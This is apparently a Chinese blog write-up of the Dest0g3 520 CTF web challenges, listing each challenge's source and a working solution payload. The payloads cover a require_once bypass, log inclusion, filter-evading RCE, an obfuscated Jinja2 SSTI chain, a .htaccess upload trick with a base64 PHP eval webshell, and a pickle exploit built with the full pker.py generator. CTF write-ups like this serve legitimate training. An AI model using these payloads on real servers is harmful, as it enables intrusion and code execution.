Dest0g3_520迎新赛


Dest0g3 520迎新赛

phpdest

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
}

文件包含,但是要绕过flag.php。

方法一:

require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

当/proc/self/root重复21次以后就可以绕过require_once。

payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

方法二:

爆破出目录日志,然后进行包含。

payload:?file=/var/log/nginx/access.log

EasyPHP

<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;

set_error_handler 是用户自定义的报错函数,然后就是想办法让这个报错。最后有flag拼接,就是字符串拼接数据即可。

payloadctf[]=1

SimpleRCE

<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

直接使用hex2bin函数获取flag就好

payload:aaa=show_source(hex2bin('2f666c6167'));

EasySSTI

先用tplmap模板检测一下

发现是Jinja2引擎,然后题目过滤了大部分的字符。

可以使用这个博客的方法绕过

注意用%0d替换掉空格进行绕过

payload

str = '''{%set zero = (self|int)%}
{%set one = (zero**zero)|int%}
{%set two = (zero-one-one)|abs%}
{%set four = (two*two)|int%}
{%set five = (two*two*two)-one-one-one%}
{%set three = five-one-one%}
{%set nine = (two*two*two*two-five-one-one)%}
{%set seven = (zero-one-one-five)|abs%}
{%set space = self|string|min%}
{%set point = self|float|string|min%}
{%set c = dict(c=aa)|reverse|first%}
{%set bfh = self|string|urlencode|first%}
{%set bfhc = bfh~c%}
{%set slas = bfhc%((four~seven)|int)%}
{%set yin = bfhc%((three~nine)|int)%}
{%set xhx = bfhc%((nine~five)|int)%}
{%set right = bfhc%((four~one)|int)%}
{%set left = bfhc%((four~zero)|int)%}
{%set but = dict(buil=aa,tins=dd)|join%}
{%set imp = dict(imp=aa,ort=dd)|join%}
{%set pon = dict(po=aa,pen=dd)|join%}
{%set so = dict(o=aa,s=dd)|join%}
{%set cat = dict(ca=aa,t=dd)|join%} 
{%set flg = dict(fl=aa,ag=dd)|join%}
{%set ev = dict(ev=aa,al=dd)|join%}
{%set red = dict(re=aa,ad=dd)|join%}
{%set bul = xhx~xhx~but~xhx~xhx%}
{%set ini = dict(ini=aa,t=bb)|join%}
{%set glo = dict(glo=aa,bals=bb)|join%}
{%set itm = dict(ite=aa,ms=bb)|join%}
{%set ls = dict(l=aa,s=bb)|join%}
{%set dir = dict(di=aa,r=bb)|join%} 
{%set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~cat~space~slas~flg~yin~right~point~red~left~right%}
{%for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%}
{%if f == bul%} 
{%for a,b in (v|attr(itm))()%}
{%if a == ev%}
{{b(pld)}}
{%endif%}
{%endfor%}
{%endif%}
{%endfor%}'''

print(str.replace("\n",'').replace(" ","%0d"))

将生成的payload替换掉username即可

funny_upload

打开题目是标准的文件上传。过滤了php的后缀。就想到上传.htaccess文件将gif替换成php文件解析。但是他过滤了<? ,所以需要有伪协议来读取。

上传.htaccess文件

AddType application/x-httpd-php .gif
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.gif"

然后上传1.gif

PD9waHAgZXZhbCgkX1BPU1RbMV0pOyAgPz4=

然后使用蚁剑连接即可获取flag

middle

import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64


app = Flask(__name__)


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
    base_dir = os.path.dirname(__file__)
    resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
    resp.headers["Content-type"] = "text/plain;charset=UTF-8"
    return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
    data=request.form['data']
    User = restricted_loads(base64.b64decode(data))
    return str(User)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
    # 这里我也改了一下
    if isinstance(cmd,list) :
        s=''.join(cmd)
        print("!!!!!!!!!!")
        s=eval(s)
        return s
    else:
        print("??????")

题目是python的反序列化,GitHub上面有脚本

exp.py

config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('cat /flag.txt').read()"])
return

然后命令行运行python pker.py < exp.py

得到以后在base64一下即可,或者直接修改pker也可以

pker.py

import ast

BUILTIN_MACROS = (
    'GLOBAL',
    'INST',
    'OBJ',
)


def extract_value(v):
    if isinstance(v, ast.Num):
        return v.n
    elif isinstance(v, ast.Str):
        return v.s
    elif isinstance(v, ast.List):
        lst = [extract_value(elt) for elt in v.elts]
        return lst
    elif isinstance(v, ast.Tuple):
        tpl = tuple([extract_value(elt) for elt in v.elts])
        return tpl
    elif isinstance(v, ast.Dict):
        dct = {
            extract_value(key): extract_value(value)
            for key in v.keys for value in v.values
        }
        return dct
    else:
        return v


def cons_basic_type(v):
    if isinstance(v, str):
        return cons_str(v)
    elif isinstance(v, (int, float)):
        return cons_num(v)
    elif isinstance(v, list):
        return cons_lst(v)
    elif isinstance(v, tuple):
        return cons_tpl(v)
    elif isinstance(v, dict):
        return cons_dct(v)
    elif isinstance(v, ast.Call):
        return cons_invoke(v)
    elif isinstance(v, ast.Name):
        return cons_defined_var(v.id)
    else:
        return v


def cons_str(s):
    return "S'%s'\n" % s.replace('\\', '\\\\').replace("'", "\\'")


def cons_num(n):
    if isinstance(n, int):
        return 'I%d\n' % n
    elif isinstance(n, float):
        return 'F%s\n' % n


def cons_lst(lst):
    buf = ['(']
    for cell in lst:
        buf.append(cons_basic_type(cell))
    buf.append('l')
    return ''.join(buf)


def cons_tpl(tpl):
    buf = ['(']
    for cell in tpl:
        buf.append(cons_basic_type(cell))
    buf.append('t')
    return ''.join(buf)


def cons_dct(dct):
    buf = ['(']
    for k, v in dct.items():
        buf.append(cons_basic_type(k))
        buf.append(cons_basic_type(v))

    buf.append('d')
    return ''.join(buf)


def cons_item_assign(obj_name, item_k, item_v):
    buf = [cons_defined_var(obj_name)]
    buf.append(cons_basic_type(extract_value(item_k)))
    buf.append(cons_basic_type(extract_value(item_v)))
    buf.append('s')
    return ''.join(buf)


def cons_defined_var(varname):
    return 'g%d\n' % lookup_memo(varname)


def cons_attr_assign(obj_name, attr_k, attr_v):
    buf = [cons_defined_var(obj_name)]
    buf.append('(}(')
    buf.append("S'%s'\n" % attr_k)
    buf.append(cons_basic_type(extract_value(attr_v)))
    buf.append('dtb')
    return ''.join(buf)


def cons_builtin_macros(macro_name, args):
    buf = []
    if macro_name == 'GLOBAL':
        if len(args) != 2:
            raise Exception(
                'Macro `GLOBAL` takes 2 argumenmts but %d was given' %
                len(args))

        buf.append('c')
        for arg in args:
            if isinstance(arg, str):
                buf.append(arg + '\n')
            else:
                raise Exception('Macro `GLOBAL` takes `str` type arguments')

    elif macro_name == 'INST':
        if len(args) < 2:
            raise Exception('Macro `INST` takes at least 2 argumenmts')

        buf.append('(')
        for arg in args[2:]:
            buf.append(cons_basic_type(arg))
        buf.append('i')
        for arg in args[:2]:
            if isinstance(arg, str):
                buf.append(arg + '\n')
            else:
                raise Exception(
                    'Macro `INST` needs the first 2 arguments are `str` type')

    elif macro_name == 'OBJ':
        if len(args) < 1:
            raise Exception('Macro `OBJ` takes at least 1 argumenmt')

        buf.append('(')
        callable_obj = args[0]
        if isinstance(callable_obj, ast.Name):
            buf.append(cons_defined_var(callable_obj.id))
        elif isinstance(callable_obj, ast.Call):
            buf.append(
                cons_builtin_macros(
                    callable_obj.func.id,
                    [extract_value(arg) for arg in callable_obj.args]))

        for arg in args[1:]:
            buf.append(cons_basic_type(arg))
        buf.append('o')

    return ''.join(buf)


def cons_func(fn_name, args):
    buf = [cons_defined_var(fn_name)]
    buf.append(cons_args(args))
    return ''.join(buf)


def cons_args(args):
    args = [cons_basic_type(arg) for arg in args]
    buf = ['(']
    [buf.append(arg) for arg in args]
    buf.append('tR')
    return ''.join(buf)


def cons_invoke(node):
    args = [extract_value(arg) for arg in node.args]

    if isinstance(node.func, ast.Name):
        fn_name = node.func.id

        if fn_name in BUILTIN_MACROS:
            return cons_builtin_macros(fn_name, args)
        else:
            return cons_func(fn_name, args)

    elif isinstance(node.func, ast.Call):
        return cons_invoke(node.func) + cons_args(args)


class Pickler(object):
    def __init__(self):
        self._context = {}
        self._memo_index = 0
        self._output = []
        globals()['lookup_memo'] = self.lookup_memo

    def __setitem__(self, key, value):
        if isinstance(key, ast.Name):
            if key.id in BUILTIN_MACROS:
                raise Exception('Can\'t assign to built-in macros %s' % key.id)

            self._context[key.id] = self._memo_index
            self.push(cons_basic_type(extract_value(value)) + self.gen_memo())

        elif isinstance(key, ast.Subscript):
            self.push(cons_item_assign(key.value.id, key.slice.value, value))

        elif isinstance(key, ast.Attribute):
            self.push(cons_attr_assign(key.value.id, key.attr, value))

        self._memo_index += 1

    def gen_memo(self):
        return 'p%d\n0' % self._memo_index

    def lookup_memo(self, varname):
        memo_index = self._context.get(varname)
        if memo_index is None:
            raise Exception('Variable `%s` is not defined' % varname)
        return memo_index

    def push(self, s):
        self._output.append(s)

    def terminat(self, obj):
        if obj is not None:
            if isinstance(obj, ast.Name):
                self.push('g%d\n' % self.lookup_memo(obj.id))
            else:
                self.push(cons_basic_type(extract_value(obj)))
        self.push('.')

    def invoke(self, node):
        self.push(cons_invoke(node))


class Parser(ast.NodeVisitor):
    def __init__(self):
        self._pickler = Pickler()

    def visit_Assign(self, node):
        target = node.targets[0]
        value = node.value
        self._pickler[target] = value

    def visit_Call(self, node):
        self._pickler.invoke(node)

    def visit_Return(self, node):
        self._pickler.terminat(node.value)

    def output(self):
        return ''.join(self._pickler._output)


def cons(c):
    root = ast.parse(c)
    p = Parser()
    p.visit(root)
    return p.output().encode()


if __name__ == '__main__':
    code = []
    try:
        while True:
            code.append(input() + '\n')
    except EOFError:
        pass
    code = ''.join(code)
    print(cons(code))
    import base64
    print("\nbase64:")
    print(base64.b64encode(cons(code)))

PharPOP

<?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class air{
    public $p;

    public function __set($p, $value) {
        $p = $this->p->act;
        echo new $p($value);
    }
}

class tree{
    public $name;
    public $act;

    public function __destruct() {
        return $this->name();
    }
    public function __call($name, $arg){
        $arg[1] =$this->name->$name;

    }
}

class apple {
    public $xxx;
    public $flag;
    public function __get($flag)
    {
        $this->xxx->$flag = $this->flag;
    }
}

class D {
    public $start;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->start == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".jpg";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->start == 'r') {
            waf($data);
            $f = file_get_contents($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

class banana {
    public function __get($name){
        return $this->$name;
    }
}
// flag in /
if(strlen($_POST[1]) < 55) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

throw new Error("start");
?>
Fatal error: Uncaught Error: start in /var/www/html/index.php:80 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 80

文章作者: Rolemee
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Rolemee !
  目录